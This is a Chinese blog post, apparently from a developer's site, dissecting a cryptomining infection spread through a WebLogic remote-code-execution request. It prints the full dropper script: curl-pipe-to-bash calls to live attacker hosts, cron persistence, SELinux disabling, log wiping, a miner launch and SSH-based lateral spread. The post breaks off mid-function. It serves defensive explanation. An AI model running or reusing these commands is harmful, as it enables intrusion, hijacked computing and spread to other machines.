{"id":84208,"date":"2021-08-09T15:06:13","date_gmt":"2021-08-09T07:06:13","guid":{"rendered":"http:\/\/www.zhushiyao.com\/?p=84208"},"modified":"2021-08-09T15:07:00","modified_gmt":"2021-08-09T07:07:00","slug":"e49025b129","status":"publish","type":"post","link":"http:\/\/www.zhushiyao.com\/?p=84208","title":{"rendered":"\u51f6\u6b8b\u7684\u6316\u77ff\u811a\u672c\uff0c\u5974\u5f79\u6211\u6570\u5343\u673a\u5668\uff01"},"content":{"rendered":"
\n
\n

\u6e29\u99a8\u63d0\u793a\uff1a\u672c\u6587\u4e2d\u51fa\u73b0\u7684\u547d\u4ee4\u548c\u811a\u672c\uff0c\u4e0d\u8981\u5728\u81ea\u5bb6\u670d\u52a1\u5668\u4e0a\u968f\u4fbf\u8fd0\u884c\uff0c\u9664\u975e\u4f60\u77e5\u9053\u81ea\u5df1\u5728\u505a\u4ec0\u4e48\u3002<\/span><\/strong><\/span><\/p>\n

\u6316\u77ff\u662f\u628a\u673a\u5668\u5f53\u4f5c\u5974\u96b6\uff0c\u4e00\u523b\u4e0d\u505c\u6b47\u7684\u53bb\u8ba1\u7b97\u3001\u8fd0\u8f6c\uff0c\u672c\u8d28\u4e0a\u662f\u4e2a\u65e0\u7528\u7684\u5de5\u4f5c\u3002\u4f46\u53ef\u60dc\u7684\u662f\uff0c\u5b83\u80fd\u8d5a\u94b1\u3002\u7528\u522b\u4eba\u7684\u673a\u5668\u53bb\u8d5a\u94b1\uff0c\u66f4\u662f\u5f88\u591a\u4eba\u68a6\u5bd0\u4ee5\u6c42\u7684\uff0c\u6240\u4ee5\u6316\u77ff\u811a\u672c\u5c61\u7981\u4e0d\u6b62\u3002<\/p>\n

\u6709\u94b1\u7684\u5730\u65b9\uff0c\u5c31\u6709\u6280\u672f\u3002\u4f46\u53cd\u8fc7\u6765\u5e76\u4e0d\u4e00\u5b9a\u6210\u7acb\u3002<\/p>\n

\u7262\u8bb0\u8fd9\u4e2a\u51c6\u5219\uff0c\u5c31\u80fd\u591f\u5fc3\u5e73\u6c14\u548c\u7684\u5b66\u4e60\u65b0\u6280\u672f\uff0c\u800c\u4e0d\u662f\u6c14\u6025\u8d25\u574f\u7684\u7ea0\u7ed3\u4e3a\u5565\u6ca1\u94b1\u3002<\/p>\n

1. \u811a\u672c\u4ece\u54ea\u6765\uff1f<\/h2>\n

\u4e0b\u9762\u662f\u4e00\u4e2ahttp\u7684\u62a5\u6587\u3002<\/p>\n

GET \/console\/images\/%2E%2E%2Fconsole.portal?_nfpb=true&amp;_pageLabel=HomePage1&amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec(new String[]{'\/bin\/sh','-c','export src=logic;curl -fsSL t.bb3u9.com\/ln\/core.png?logic|bash'});\"); HTTP\/1.1

Host: 20*.10*.8*.1*9:7001 #\u5df2\u8131\u654f

User-Agent: curl\/7.55.1

Accept: *\/*

Content-Type:application\/x-www-form-urlencoded; charset=utf-8
<\/code><\/pre>\n
\u5f88\u7b80\u5355\uff0cwaf\u9632\u706b\u5899\u62e6\u622a\u5230\u76f8\u5173\u5305\uff0c\u4e00\u773c\u770b\u4e0a\u53bb\u5c31\u4e0d\u6b63\u5e38\u3002\u4ece\u5173\u952e\u5b57com.tangosol.coherence.mvel2.sh.ShellSession<\/code>\u53ef\u4ee5\u5f97\u77e5\uff0c\u8fd9\u4e2a\u8bf7\u6c42\uff0c\u662f\u60f3\u8981\u5229\u7528Weblogic\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n
\u8fd9\u6837\u7684\u6f0f\u6d1e\u6709\u5f88\u591a\u5f88\u591a\uff0c\u6570\u4e0d\u80dc\u6570\uff0c\u6bd4\u5982\u5b83\u53ef\u4ee5\u901a\u8fc7redis\u8fdb\u5165\u3002\u6211\u4eec\u4e0d\u5fc5\u5173\u6ce8\u8fd9\u4e9b\u6f0f\u6d1e\uff0c\u9ed8\u8ba4\u5b83\u5df2\u7ecf\u5229\u7528\u6210\u529f\u4e86\u3002\u6211\u4eec\u53ea\u770b\u6316\u77ff\u811a\u672c\u662f\u600e\u4e48\u90e8\u7f72\u5230\u4f60\u7684\u673a\u5668\u4e0a\u7684\u3002<\/p>\n
\u5728java\u4e2d\uff0c\u5f53\u7136\u8981\u8c03\u7528\u5b83\u7684Runtime\u7c7b\u5e93\uff0c\u5982\u679c\u4f60\u7684\u5e94\u7528\u7a0b\u5e8f\u662f\u8fd0\u884c\u5728root\u7528\u6237\u7684\uff0c\u90a3\u5b83\u4ec0\u4e48\u4e8b\u60c5\u90fd\u80fd\u5e72\u3002<\/span><\/p>\n
\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u8981\u6c42\u4f60\u7ebf\u4e0a\u90e8\u7f72\u7684\u5e94\u7528\uff0c\u90fd\u7528\u6743\u9650\u4f4e\u4e00\u70b9\u7684\u8d26\u6237\uff0c\u6bd4\u5982xjjdog\u53bb\u8fd0\u884c\uff0c\u800c\u4e0d\u662f\u4e0d\u8981\u547d\u7684\u628aroot\u8d26\u6237\u7ed9\u5f00\u653e\u3002<\/p>\n
exec\u51fd\u6570\u5e26\u4e86\u4e09\u4e2a\u53c2\u6570\u3002<\/p>\n
    \n
  • \n
    \/bin\/sh<\/code> \u610f\u5473\u7740\u5b83\u8981\u6267\u884c\u4e00\u4e2ashell\u811a\u672c<\/section>\n<\/li>\n
  • \n
    -c<\/code> \u6307\u660e\u4e86\u8981\u6267\u884c\u7684\u547d\u4ee4<\/section>\n<\/li>\n
  • \n
    export src=logic;curl -fsSL t.bb3u9.com\/ln\/core.png?logic|bash \u9996\u5148\u8f93\u51fa\u4e86\u4e00\u4e2a\u5168\u5c40\u73af\u5883\u53d8\u91cf\uff0c\u7136\u540e\u4e0b\u8f7d\u4e00\u4e2apng\u6587\u4ef6<\/section>\n<\/li>\n<\/ul>\n
    \u72e1\u733e\u7684\u4eba\u90fd\u559c\u6b22\u5e26\u9762\u5177\uff0c\u800c\u72e1\u733e\u7684\u811a\u672c\u90fd\u559c\u6b22\u6539\u540e\u7f00\u3002\u770b\u8d77\u6765\u662f\u4e2apng\uff0c\u4f46\u5b83\u662f\u4e2a\u811a\u672c\u3002<\/p>\n
    2. \u811a\u672c\u600e\u4e48\u5b89\u88c5\u7684\uff1f<\/h2>\n
    \u63a5\u4e0b\u6765\u6458\u4e0b\u5b83\u7684\u4f2a\u88c5\uff0c\u770b\u4e00\u4e0b\u5b83\u7684\u771f\u9762\u76ee\u3002<\/p>\n
    curl\u00a0http:\/\/t.bb3u9.com\/ln\/core.png?logic\u00a0>\u00a0core.png\u00a0
    <\/code><\/pre>\n
    \u67e5\u770bcore.png<\/code>\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u3002\u4e0d\u9519\uff0c\u5f88\u957f\u4e00\u6bb5\u811a\u672c\u3002<\/p>\n
    #\/bin\/bash<\/span>
    setenforce\u00a00\u00a02>\/dev\/null
    echo<\/span>\u00a0SELINUX=disabled\u00a0>\u00a0\/etc\/sysconfig\/selinux\u00a02>\/dev\/null
    sync\u00a0&&\u00a0echo<\/span>\u00a03\u00a0>\/proc\/sys\/vm\/drop_caches
    murl1=\"http:\/\/t.bb3u9.com\/ln\/a.asp\"<\/span>
    murl2=\"http:\/\/t.jdjdcjq.top\/ln\/a.asp\"<\/span>
    cdate=$(date\u00a0\"+%Y%m%d\"<\/span>)
    guid=`echo<\/span>\u00a0$(sudo\u00a0dmidecode\u00a0-t\u00a04\u00a0|\u00a0grep\u00a0ID\u00a0|\u00a0sed\u00a0's\/.*ID:\/\/;s\/\u00a0\/\/g'<\/span>)\u00a0$(ifconfig\u00a0|\u00a0grep\u00a0-oP\u00a0'HWaddr\u00a0K.*'<\/span>|sed\u00a0's\/:\/\/g'<\/span>)|sha256sum|awk\u00a0'{print\u00a0$1}'<\/span>`
    cmd1=\"export\u00a0gurl=$murl1<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>)|bash\"<\/span>
    cmd2=\"export\u00a0gurl=$murl2<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>)|bash\"<\/span>
    echo<\/span>\u00a0\"\"<\/span>>\/var\/spool\/cron\/root
    echo<\/span>\u00a0\"\"<\/span>>\/var\/spool\/cron\/crontabs\/root
    if<\/span>\u00a0[\u00a0\"`whoami`\"<\/span>\u00a0==\u00a0\u00a0\"root\"<\/span>\u00a0];then<\/span>
    \u00a0\u00a0\u00a0\u00a0cronpath=\/etc\/crontab
    \u00a0\u00a0\u00a0\u00a0Xpath=\/.Xl1
    else<\/span>
    \u00a0\u00a0\u00a0\u00a0cronpath=\/var\/spool\/cron\/`whoami`
    \u00a0\u00a0\u00a0\u00a0Xpath=~\/.Xl1
    fi<\/span>
    if<\/span>\u00a0[\u00a0!\u00a0-d\u00a0\"$Xpath<\/span>\"<\/span>\u00a0];then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0mkdir\u00a0$Xpath<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo<\/span>\u00a0\"$[$RANDOM<\/span>%60]\u00a0*\u00a0*\u00a0*\u00a0*\u00a0root\u00a0$cmd1<\/span>\"<\/span>\u00a0>>\u00a0$cronpath<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo<\/span>\u00a0\"$[$RANDOM<\/span>%60]\u00a0*\u00a0*\u00a0*\u00a0*\u00a0root\u00a0$cmd2<\/span>\"<\/span>\u00a0>>\u00a0$cronpath<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0uname\u00a0-a|grep\u00a0x86_64\u00a0&&\u00a0echo<\/span>\u00a0\"$[$RANDOM<\/span>%60]\u00a0*\u00a0*\u00a0*\u00a0*\u00a0root\u00a0ps\u00a0aux|grep\u00a0p.b69kq.com\u00a0|grep\u00a0-v\u00a0grep\u00a0||\u00a0$Xpath<\/span>\u00a0-o\u00a0p.b69kq.com:444\u00a0--opencl\u00a0--donate-level=1\u00a0--nicehash\u00a0-B\u00a0--http-host=0.0.0.0\u00a0--http-port=65529\u00a0--opencl\u00a0--cuda\"<\/span>\u00a0>>\u00a0\/etc\/crontab
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0export<\/span>\u00a0gurl=$murl1<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl<\/span>*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl<\/span>*`whoami`*`hostname`*${guid}<\/span>)|bash
    \u00a0\u00a0\u00a0\u00a0export<\/span>\u00a0gurl=$murl2<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl<\/span>*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl<\/span>*`whoami`*`hostname`*${guid}<\/span>)|bash
    fi<\/span>

    echo<\/span>\u00a0>\u00a0\/var\/spool\/mail\/root
    echo<\/span>\u00a0>\u00a0\/var\/log<\/span>\/wtmp
    echo<\/span>\u00a0>\u00a0\/var\/log<\/span>\/secure
    <\/code><\/pre>\n
    \u6309\u7167\u5e38\u89c4\uff0c\u6211\u4eec\u6765\u4e00\u884c\u884c\u62c6\u89e3\u5b83\u3002<\/p>\n
    1\uff09\u5173\u6389selinux\u3002setenforce 0\u662f\u5173\u95ed\u7684\u610f\u601d\uff0c2\u8868\u793astderr\uff0c\u51fa\u9519\u4e86\u4e0d\u63d0\u793a\u3002\u63a5\u4e0b\u6765\u4f1a\u901a\u8fc7\u5199\u914d\u7f6e\u6587\u4ef6\u7684\u65b9\u5f0f\uff0c\u6c38\u4e45\u6027\u7684\u7981\u6b62selinux\u3002<\/p>\n
    setenforce\u00a00\u00a02>\/dev\/null
    echo<\/span>\u00a0SELINUX=disabled\u00a0>\u00a0\/etc\/sysconfig\/selinux\u00a02>\/dev\/null
    <\/code><\/pre>\n
    2\uff09\u5f88\u826f\u5fc3\u7684\u5e2e\u52a9\u6e05\u7406\u4e00\u4e0b\u7cfb\u7edf\u5185\u5b58<\/p>\n
    sync\u00a0&&\u00a0echo<\/span>\u00a03\u00a0>\/proc\/sys\/vm\/drop_caches
    <\/code><\/pre>\n
    3\uff09\u6784\u9020guid\uff0c\u5bf9\u673a\u5668\u8fdb\u884c\u6807\u8bc6<\/p>\n
    guid=`echo<\/span>\u00a0$(sudo\u00a0dmidecode\u00a0-t\u00a04\u00a0|\u00a0grep\u00a0ID\u00a0|\u00a0sed\u00a0's\/.*ID:\/\/;s\/\u00a0\/\/g'<\/span>)\u00a0$(ifconfig\u00a0|\u00a0grep\u00a0-oP\u00a0'HWaddr\u00a0K.*'<\/span>|sed\u00a0's\/:\/\/g'<\/span>)|sha256sum|awk\u00a0'{print\u00a0$1}'<\/span>`
    <\/code><\/pre>\n
    dmidecode\u547d\u4ee4\uff0c\u53ef\u4ee5\u83b7\u53d6linux\u786c\u4ef6\u76f8\u5173\u7684\u4fe1\u606f\uff0c\u4f1a\u8f93\u51fa\u975e\u5e38\u591a\u7684\u5185\u5bb9\u3002-t 4\u8868\u793a\u53ea\u83b7\u53d6Process<\/code>\u65b9\u9762\u7684\u5185\u5bb9\u3002\u7136\u540e\u8fc7\u6ee4\u4e00\u4e0bID\u4fe1\u606f\uff0c\u4f7f\u7528sed\u547d\u4ee4\u622a\u53d6\u5e76\u53bb\u6389\u7a7a\u683c\u3002<\/p>\n
    ID:\u00a057\u00a006\u00a005\u00a000\u00a0FF\u00a0FB\u00a08B\u00a00F
    <\/code><\/pre>\n
    \u4f1a\u53d8\u6210\u3002<\/p>\n
    57060500FFFB8B0F
    <\/code><\/pre>\n
    \u7136\u540e\u4f7f\u7528ifcongig\u547d\u4ee4\u83b7\u53d6\u7f51\u5361\u786c\u4ef6MAC\u4fe1\u606f\u3002\u505a\u540c\u6837\u7684\u5904\u7406\u540e\u83b7\u5f97\u53e6\u5916\u4e00\u4e2a\u4e32\u3002\u8fd9\u6bb5\u811a\u672c\u5199\u7684\u7a0d\u5fae\u6709\u70b9\u95ee\u9898\uff0c\u56e0\u4e3aifconfig\u7684\u8f93\u51fa\u7ecf\u5e38\u4f1a\u6539\u683c\u5f0f\uff0c\u4f46\u4e0d\u5f71\u54cd\u8ba1\u7b97hash\u3002<\/p>\n
    sha256sum\u5c31\u662f\u7b97\u51fa\u8fd9\u6837\u4e00\u4e2ahash\uff0c\u7136\u540e\u8d4b\u503c\u7ed9guid\u3002\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u3002<\/p>\n
    786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
    <\/code><\/pre>\n
    4\uff09\u5b89\u88c5\u5b9a\u65f6\u4efb\u52a1\u5230crontab\u4e2d<\/p>\n
    \u811a\u672c\u9009\u62e9\u4e86\/.Xl1<\/code>\u76ee\u5f55\u4f5c\u4e3a\u771f\u6b63\u7684\u6316\u77ff\u7a0b\u5e8f\u7684\u5b58\u50a8\u76ee\u5f55\u3002\u6ce8\u610f\u8fd9\u4e09\u4e2a\u5b57\u6bcd\uff0c\u540e\u9762\u662fl\u548c1\uff0c\u5e76\u4e0d\u662fX\u684c\u9762\u7684\u914d\u7f6e\u76ee\u5f55\u3002\u5728\u771f\u6b63\u7684\u811a\u672c<\/code>\u90e8\u5206\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4e0b\u8f7d\u7684\u7a0b\u5e8f\u5305\u5730\u5740\u662fd.u78wjdu.com\/ln\/xr.zip<\/code>\u3002<\/p>\n
    5\uff09\u6211\u4eec\u518d\u6765\u770b\u4e00\u4e0b\u4e0b\u8f7d\u7684\u94fe\u63a5\u662f\u4ec0\u4e48\u6837\u5b50\u7684<\/p>\n
    cmd1=\"export\u00a0gurl=$murl1<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>)|bash\"<\/span>
    cmd2=\"export\u00a0gurl=$murl2<\/span>?${src}<\/span>_${cdate}<\/span>;(curl\u00a0-fsSL\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>||wget\u00a0-q\u00a0-O-\u00a0$gurl*`whoami`*`hostname`*${guid}<\/span>)|bash\"<\/span>
    <\/code><\/pre>\n
    \u5176\u4e2d\uff0csrc\u53d8\u91cf\u662f\u5728\u4e00\u5f00\u59cb\u5c31\u8bbe\u7f6e\u7684\uff0c\u6211\u4eec\u4f9d\u6b21\u6765\u8fd8\u539f\u4e00\u4e0b\u3002<\/p>\n
    export<\/span>\u00a0src=logic
    cdate=$(date\u00a0\"+%Y%m%d\"<\/span>)
    guid=`echo<\/span>\u00a0$(sudo\u00a0dmidecode\u00a0-t\u00a04\u00a0|\u00a0grep\u00a0ID\u00a0|\u00a0sed\u00a0's\/.*ID:\/\/;s\/\u00a0\/\/g'<\/span>)\u00a0$(ifconfig\u00a0|\u00a0grep\u00a0-oP\u00a0'HWaddr\u00a0K.*'<\/span>|sed\u00a0's\/:\/\/g'<\/span>)|sha256sum|awk\u00a0'{print\u00a0$1}'<\/span>`
    gurl=$murl1<\/span>?${src}<\/span>_${cdate}<\/span>
    <\/code><\/pre>\n
    \u6700\u7ec8\u4f1a\u62fc\u6210\u4e0b\u9762\u7684\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u8bf4\u8be5\u6709\u7684\u4fe1\u606f\u90fd\u6709\u4e86\uff0c\u80fd\u591f\u533a\u5206\u51fa\u5230\u5e95\u662f\u54ea\u4e00\u53f0\u673a\u5668\u4e86\u3002<\/p>\n
    url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
    <\/code><\/pre>\n
    3. \u771f\u6b63\u7684\u811a\u672c\u662f\u4ec0\u4e48\uff1f<\/h2>\n
    $RANDOM<\/code>\u73af\u5883\u53d8\u91cf\uff0c\u662f\u4e2a\u795e\u5947\u7684\u73af\u5883\u53d8\u91cf\u3002\u76f4\u63a5\u8f93\u51fa\u7684\u8bdd\uff0c\u5c06\u4f1a\u5f97\u5230\u4e00\u4e2a\u968f\u673a\u503c\u3002cron\u811a\u672c\u5468\u671f\u6027\u7684\u62c9\u53d6\u6700\u65b0\u7684\u811a\u672c\u6267\u884c\uff0c\u628a\u771f\u6b63\u7684\u6316\u77ff\u7a0b\u5e8f\u90e8\u7f72\u8d77\u6765\u3002<\/p>\n
    \u5173\u4e8e\u771f\u5b9e\u811a\u672c\u7684\u4ecb\u7ecd\uff0cxjjdog\u5728\u53e6\u5916\u4e00\u7bc7\u6587\u7ae0\u4e2d\u6709\u8be6\u7ec6\u7684\u4ecb\u7ecd\u3002\u5728\u8fd9\u4e2a\u573a\u666f\u4e0b\uff0c\u6700\u65b0\u7684\u811a\u672c\u5c31\u662fhttp:\/\/t.bb3u9.com\/ln\/a.asp<\/code>\uff0c\u4f9d\u7136\u662f\u6539\u540e\u7f00\u7684\u969c\u773c\u6cd5\u3002<\/p>\n
    \u8fd9\u4e2a\u811a\u672c\u663e\u7136\u6bd4\u4e0a\u9762\u8fd9\u7bc7\u6587\u7ae0\u4ecb\u7ecd\u7684\u8981\u66f4\u52a0\u9ad8\u7ea7\u4e00\u4e9b\u3002\u811a\u672c\u5f88\u957f\u5f88\u957f\uff0c\u5c31\u4e0d\u8d34\u4e86\uff0c\u4f60\u53ef\u4ee5\u81ea\u5df1\u4e0b\u8f7d\u3002\u5b83\u7684\u4e3b\u8981\u610f\u56fe\uff0c\u662f\u4e0b\u8f7d\u4e00\u4e2a\u53eb\u505axr\u7684\u7a0b\u5e8f\uff0c\u7136\u540e\u5728\u9a6c\u7532\u76ee\u5f55.Xl1\u4e2d\u8fd0\u884c\u3002xr\u7a0b\u5e8f\u624d\u662f\u6316\u77ff\u7684\u4e3b\u8981\u7a0b\u5e8f\uff0c\u5176\u4ed6\u7684\u811a\u672c\uff0c\u90fd\u662f\u8f85\u52a9\u5b83\u6765\u8fd0\u884c\u7684\u3002\u4e0b\u9762\u662f\u6700\u4e3b\u8981\u7684\u8fd0\u884c\u903b\u8f91\u3002<\/p>\n
    if<\/span>\u00a0[\u00a0!\u00a0-d\u00a0\"$Xpath<\/span>\"<\/span>\u00a0];then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0mkdir\u00a0$Xpath<\/span>
    fi<\/span>
    cd<\/span>\u00a0$Xpath<\/span>
    if<\/span>\u00a0[\u00a0!\u00a0-f\u00a0\".\/xr\"<\/span>\u00a0];then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0uname\u00a0-a|grep\u00a0x86_64\u00a0&&\u00a0(curl\u00a0-fsSL\u00a0d.u78wjdu.com\/ln\/xr.zip||wget\u00a0-q\u00a0-O-\u00a0d.u78wjdu.com\/ln\/xr.zip)>xr.zip\u00a0&&\u00a0tar\u00a0xf\u00a0xr.zip\u00a0&&\u00a0rm\u00a0xr.zip
    fi<\/span>
    uname\u00a0-a|grep\u00a0x86_64\u00a0&&\u00a0ps\u00a0aux|grep\u00a0p.b69kq.com\u00a0|grep\u00a0-v\u00a0grep\u00a0||\u00a0.\/xr\u00a0-o\u00a0p.b69kq.com:444\u00a0--opencl\u00a0--donate-level=1\u00a0--nicehash\u00a0-B\u00a0--http-host=0.0.0.0\u00a0--http-port=65529\u00a0--opencl\u00a0--cuda
    <\/code><\/pre>\n
    \u8981\u4fdd\u8bc1\u811a\u672c\u7684\u5b89\u5168\uff0c\u600e\u4e48\u80fd\u5c11\u5f97\u4e86chattr\u547d\u4ee4\u3002\u5f88\u591a\u4eba\u9047\u89c1\u52a0\u4e86i\u53c2\u6570\u7684\u6587\u4ef6\uff0c\u4e0d\u80fd\u88ab\u5220\u9664\uff0c\u5c31\u50bb\u773c\u4e86\u3002\u5176\u5b9e\u662f\u53ef\u4ee5\u901a\u8fc7-i<\/code>\u53c2\u6570\u53bb\u6389\u8fd9\u4e2a\u5c5e\u6027\u7684\u3002<\/p>\n
    chattr\u00a0-iua\u00a0\/tmp\/
    chattr\u00a0-iua\u00a0\/var\/tmp\/
    chattr\u00a0-R\u00a0-i\u00a0\/var\/spool\/cron
    chattr\u00a0-i\u00a0\/etc\/crontab
    <\/code><\/pre>\n
    \u811a\u672c\u8fd8\u4f1a\u901a\u8fc7nc\u547d\u4ee4\uff0c\u62f7\u8d1drsa\u516c\u94a5\u5230\u4f60\u7684\u6bcf\u4e2a\u7528\u6237\u76ee\u5f55\u4e0b\u9762\uff0c\u628a\u4f60\u505a\u6210\u4e8b\u5b9e\u4e0a\u7684\u8089\u9e21\uff0c\u5b9e\u73b0\u514d\u5bc6\u767b\u5f55\u3002\u5173\u4e8enc\u8fd9\u628a\u745e\u58eb\u519b\u5200\uff0c\u6211\u4eec\u4e5f\u6709\u8fc7\u4ecb\u7ecd\u3002<\/p>\n
    for<\/span>\u00a0file\u00a0in<\/span>\u00a0\/home\/*
    do<\/span>
    \u00a0\u00a0\u00a0\u00a0if<\/span>\u00a0test<\/span>\u00a0-d\u00a0$file<\/span>;\u00a0then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if<\/span>\u00a0[\u00a0-f\u00a0$file<\/span>\/.ssh\/known_hosts\u00a0]\u00a0&&\u00a0[\u00a0-f\u00a0$file<\/span>\/.ssh\/id_rsa.pub\u00a0];\u00a0then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for<\/span>\u00a0h\u00a0in<\/span>\u00a0$(grep\u00a0-oE\u00a0\"b([0-9]{1,3}.){3}[0-9]{1,3}b\"<\/span>\u00a0$file<\/span>\/.ssh\/known_hosts);\u00a0do<\/span>\u00a0echo<\/span>\u00a0exit<\/span>\u00a0|nc\u00a0-w\u00a01\u00a0-n\u00a0-v\u00a0$h<\/span>\u00a065529\u00a0&&\u00a0ssh\u00a0-oBatchMode=yes\u00a0-oConnectTimeout=5\u00a0-oStrictHostKeyChecking=no\u00a0$h<\/span>\u00a0'export\u00a0src=sshcopy;(curl\u00a0-fsSL\u00a0http:\/\/t.bb3u9.com\/ln\/core.png?sshcopy*`whoami`*`hostname`||wget\u00a0-q\u00a0-O-\u00a0http:\/\/t.bb3u9.com\/ln\/core.png?sshcopy*`whoami`*`hostname`)|bash\u00a0>\/dev\/null\u00a02>&1\u00a0&'<\/span>\u00a0&\u00a0done<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fi<\/span>
    \u00a0\u00a0\u00a0\u00a0fi<\/span>
    done<\/span>
    <\/code><\/pre>\n
    \u8fd9\u4efd\u811a\u672c\uff0c\u8fd8\u4f1a\u75c5\u6bd2\u5f0f\u7684\u4f20\u64ad\u3002localgo<\/code>\u51fd\u6570\uff0c\u901a\u8fc7\u4ece\u4f60\u7684ps<\/code>\u8fdb\u7a0b\uff0chistory<\/code>\u6587\u4ef6\uff0c\u8fd8\u6709hosts<\/code>\u914d\u7f6e\uff0c\u62ff\u5230\u7528\u6237\u5217\u8868\u3001\u4e3b\u673a\u5217\u8868\u7aef\u53e3\u3001rsa\u5bc6\u94a5\u7b49\uff0c\u5c31\u53ef\u4ee5\u6279\u91cf\u7684\u53bb\u5c1d\u8bd5\u767b\u5f55\u5e76\u4f20\u64ad\u8fd9\u4efd\u811a\u672c\u3002\u5f53\u7136\uff0c\u4e0a\u9762\u7684xr\u7a0b\u5e8f\u4f1a\u76d1\u542c65529<\/code>\u7684\u7aef\u53e3\uff0c\u5982\u679c\u5224\u65ad\u4e3b\u673a\u5df2\u7ecf\u4e2d\u62db\u4e86\uff0c\u5c31\u4e0d\u518d\u7ee7\u7eed\u63a2\u6d4b\u3002<\/p>\n
    \u80fd\u752865529<\/code>\u8fd9\u4e2a\u7aef\u53e3\uff0c\u672c\u8eab\u5c31\u591f\u9a9a\u6c14\u7684\u4e86\uff0c\u6709\u51e0\u53f0\u673a\u5668\u80fd\u591f\u8fbe\u5230\u4e0a\u965065535\u5462\uff1f<\/p>\n
    localgo<\/span>()\u00a0{
    \u00a0\u00a0i=0
    \u00a0\u00a0for<\/span>\u00a0user\u00a0in<\/span>\u00a0$userlist<\/span>;\u00a0do<\/span>
    \u00a0\u00a0\u00a0\u00a0for<\/span>\u00a0host\u00a0in<\/span>\u00a0$hostlist<\/span>;\u00a0do<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for<\/span>\u00a0key\u00a0in<\/span>\u00a0$keylist<\/span>;\u00a0do<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for<\/span>\u00a0sshp\u00a0in<\/span>\u00a0$sshports<\/span>;\u00a0do<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i=$((i+1))
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if<\/span>\u00a0[\u00a0\"${i}<\/span>\"<\/span>\u00a0-eq\u00a0\"20\"<\/span>\u00a0];\u00a0then<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0sleep\u00a020
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ps\u00a0wx\u00a0|\u00a0grep\u00a0\"ssh\u00a0-o\"<\/span>\u00a0|\u00a0awk\u00a0'{print\u00a0$1}'<\/span>\u00a0|\u00a0xargs\u00a0kill<\/span>\u00a0-9\u00a0&>\/dev\/null\u00a0&
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i=0
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fi<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0#Wait\u00a020\u00a0seconds\u00a0after\u00a0every\u00a020\u00a0attempts\u00a0and\u00a0clean\u00a0up\u00a0hanging\u00a0processes<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0chmod\u00a0+r\u00a0$key<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0chmod\u00a0400\u00a0$key<\/span>
    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo<\/span>\u00a0\"$user<\/span>@$host<\/span>\u00a0$key<\/span>\u00a0$sshp<\/span>\"<\/span>
